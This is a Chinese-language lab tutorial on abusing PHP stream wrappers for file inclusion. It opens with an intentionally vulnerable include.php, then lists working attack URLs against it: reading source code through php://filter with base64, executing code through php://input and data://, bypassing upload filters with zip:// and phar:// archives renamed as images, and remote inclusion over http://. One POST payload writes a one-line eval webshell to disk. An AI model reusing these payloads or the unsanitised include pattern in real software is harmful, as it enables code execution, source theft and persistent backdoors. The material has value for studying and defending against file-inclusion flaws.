關於PHP僞協議的更多詳解,參考於 https://www.php.net/manual/zh/wrappers.file.php
先自寫一個include.php和.txt文件
<?php
$file = $_GET['file'];
if(isset($file)){
include("$file");
}else{
echo "file fail";
}
?>
一、file:// 協議
條件
allow_url_fopen:off/on
allow_url_include :off/on
作用
用於訪問本地文件系統,用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響
include() / require() / include_once() / require_once()
參數可控的情況下,如導入爲非php文件,則仍按照php語法進行解析,這是include()函數所決定的。
只能傳入絕對路徑
file://[文件的絕對路徑和文件名]
http://127.0.0.1/include.php?file=file://D:\phpStudy\PHPTutorial\WWW\phpinfo.txt
[file://相對路徑和文件名] 報錯
http://127.0.0.1/include.php?file=file://./phpinfo.txt
二、php:// 協議
條件
allow_url_fopen:off/on
allow_url_include :僅php://input php://stdin php://memory php://temp 需要on
作用
php:// 訪問各個輸入/輸出流(I/O streams),經常使用的是php://filter和php://input,php://filter用於讀取源碼,php://input用於執行php代碼。
協議 | 作用 |
---|---|
php://input | 可以訪問請求的原始數據的只讀流,在POST請求中訪問POST的data部分; 在enctype=“multipart/form-data” 的時候php://input 是無效的 |
php://output | 只寫的數據流,允許以 print 和 echo 一樣的方式寫入到輸出緩衝區 |
php://fd | (>=5.3.6)允許直接訪問指定的文件描述符 |
php://memory php://temp | (>=5.1.0)一個類似文件包裝器的數據流,允許讀寫臨時數據。 兩者的唯一區別是 php://memory 總是把數據儲存在內存中,php://temp 會在內存量達到預定義的限制後(默認是 2MB)存入臨時文件中。 臨時文件位置的決定和 sys_get_temp_dir() 的方式一致。 |
php://filter | (>=5.0.0)一種元封裝器,設計用於數據流打開時的篩選過濾應用。對於一體式(all-in-one)的文件函數非常有用,類似 readfile()、file() 和 file_get_contents(),在數據流內容讀取之前沒有機會應用其他過濾器 |
php://filter參數詳解
該協議的參數會在該協議路徑上進行傳遞,多個參數都可以在一個路徑上傳遞。具體參考如下:
php://filter 參數 | 描述 |
---|---|
resource=<要過濾的數據流> | 必須項。它指定了你要篩選過濾的數據流。 |
read=<讀鏈的過濾器> | 可選項。可以設定一個或多個過濾器名稱,以管道符(**)分隔。 |
write=<寫鏈的過濾器> | 可選項。可以設定一個或多個過濾器名稱,以管道符(\)分隔。 |
<; 兩個鏈的過濾器> | 任何沒有以 read= 或 write= 作前綴的篩選器列表會視情況應用於讀或寫鏈。 |
主要的過濾器
詳細內容請參考:https://www.php.net/manual/zh/filters.php
字符串過濾器 | 作用 |
---|---|
string.rot13 | 等同於str_rot13(),rot13變換 |
string.toupper | 等同於strtoupper(),轉大寫字母 |
string.tolower | 等同於strtolower(),轉小寫字母 |
string.strip_tags | 等同於strip_tags(),去除html、PHP語言標籤 |
轉換過濾器 | 作用 |
---|---|
convert.base64-encode / convert.base64-decode | 等同於base64_encode()和base64_decode(),base64編碼解碼 |
convert.quoted-printable-encode / convert.quoted-printable-decode quoted-printable | 字符串與 8-bit 字符串編碼解碼 |
壓縮過濾器 | 作用 |
---|---|
zlib.deflate zlib.inflate | 在本地文件系統中創建 gzip 兼容文件的方法,但不產生命令行工具如 gzip的頭和尾信息。只是壓縮和解壓數據流中的有效載荷部分。 |
bzip2.compress bzip2.decompress | 同上,在本地文件系統中創建 bz2 兼容文件的方法。 |
加密過濾器 | 作用 |
---|---|
mcrypt.* | libmcrypt 對稱加密算法 |
mdecrypt.* | libmcrypt 對稱解密算法 |
php://filter/resource=[文件名]讀取文件源碼
http://127.0.0.1/include.php?file=php://filter/resource=phpinfo.txt
php://filter/read=convert.base64-encode/resource=[文件名]讀取文件源碼(針對php文件需要base64編碼)
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.txt
php://input + [POST DATA]執行php代碼
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>
若有寫入權限,寫入一句話木馬
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php fputs(fopen('yijuhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
三、zip:// & bzip2:// & zlib://
條件
allow_url_fopen:off/on
allow_url_include :off/on
作用
zip:// & bzip2:// & zlib://
均屬於壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定後綴名,可修改爲任意後綴:jpg png gif xxx
等等
zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名](#編碼爲%23)
http://127.0.0.1/include.php?file=zip://D:\phpStudy\PHPTutorial\WWW\phpinfo.zip%23phpinfo.txt
在文件上傳場景下,壓縮 phpinfo.txt 爲 phpinfo.zip ,壓縮包重命名爲 phpinfo.jpg ,並上傳
http://127.0.0.1/include.php?file=zip://D:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
類似
壓縮 phpinfo.txt 爲 phpinfo.bz2 並上傳(同樣支持任意後綴名)
http://127.0.0.1/include.php?file=compress.bzip2://D:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
壓縮 phpinfo.txt 爲 phpinfo.gz 並上傳(同樣支持任意後綴名)
http://127.0.0.1/include.php?file=compress.zlib://D:\phpStudy\PHPTutorial\WWW\phpinfo.gz
四、phar:// 協議
phar://協議與zip://類似,同樣可以訪問zip格式壓縮包內容
phar://[壓縮文件絕對路徑]/[壓縮文件內的子文件名]
http://127.0.0.1/include.php?file=phar://D:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
五、data://
條件
allow_url_fopen :on
allow_url_include :on
作用
PHP>=5.2.0,可以使用data://數據流封裝器,以傳遞相應格式的數據。通常可以用來執行PHP代碼
data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
六、http:// & https:// 協議
條件
allow_url_fopen:on
allow_url_include :on
作用
常規 URL 形式,允許通過 HTTP 1.0 的 GET方法,以只讀訪問文件或資源。用於遠程包含。
用法
http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:[email protected]
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:[email protected]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
參考文章:https://segmentfault.com/a/1190000018991087
GOT IT!
******************************************************
小實驗小結,具體測試利用方式需根據具體實踐場景~